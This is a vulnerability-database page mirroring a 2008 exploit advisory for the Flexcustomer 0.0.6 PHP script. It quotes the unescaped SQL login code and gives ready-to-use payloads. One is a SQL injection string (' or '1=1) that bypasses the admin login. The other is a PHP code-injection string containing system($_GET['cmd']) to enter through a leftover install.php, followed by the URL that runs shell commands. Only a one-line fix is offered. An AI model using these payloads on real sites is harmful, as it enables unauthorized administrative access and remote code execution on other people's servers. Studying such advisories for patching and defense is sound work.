Lucene search
+L

Flexcustomer 0.0.6 - Admin Authentication Bypass / Possible PHP Code Writing

🗓️ 29 Dec 2008 00:00:00Reported by OsirysType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Flexcustomer 0.0.6 Admin Authentication Bypass & Possible PHP Code Writin

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-6761
29 Dec 200800:00
circl
cve
CVE
CVE-2008-6761
28 Apr 200916:00
cve
cvelist
Cvelist
CVE-2008-6761
28 Apr 200916:00
cvelist
euvd
EUVD
EUVD-2008-6721
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-6761
28 Apr 200916:30
nvd
prion
Prion
Code injection
28 Apr 200916:30
prion
[START]

####################################################################################################################
[0x01] Informations:

Script         : Flexcustomer
Download       : http://www.hotscripts.com/jump.php?listing_id=25331&jump_type=1
Vulnerability  : Admin Login Bypass / Possible PHP code writing
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org


####################################################################################################################
[0x02] Bug: [Admin Login Bypass]
######

Bug: /[path]/admin/usercheek.php

[CODE]

<?php
session_start();

if (!empty($logincheck)){
$sql = "select username,adminid from useradmin where username='$checkuser' and password='$checkpass'";
$results = $db->select($sql);

[/CODE]

[!FIX] Escape $checkuser and $checkpass in $sql query.


[!] EXPLOIT: /[path]/admin/
             Put as username and password: ' or '1=1
             You will log in as admin

####################################################################################################################
[0x03] Bug: [Possible PHP data writing]
######

This is not a real bug, but could become it if the administrator doesn't delete the install.php file.
In fact, data that we put in /[path]/admin/install.php forms will be save in a .php file.
So, if install.php is not deleted, we can inject php code, and this bug can become a RCE vulnerability.

[!] EXPLOIT:
              1) Go at: /[path]/admin/install.php
              2) Put as Database Name this simple PHP code: ";system($_GET['cmd']);$a = "k
              3) Fill the other form and press  Next
              4) Execute your cmd: /[path]/const.inc.php?cmd=id

####################################################################################################################

[/END]

# milw0rm.com [2008-12-29]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.06317
37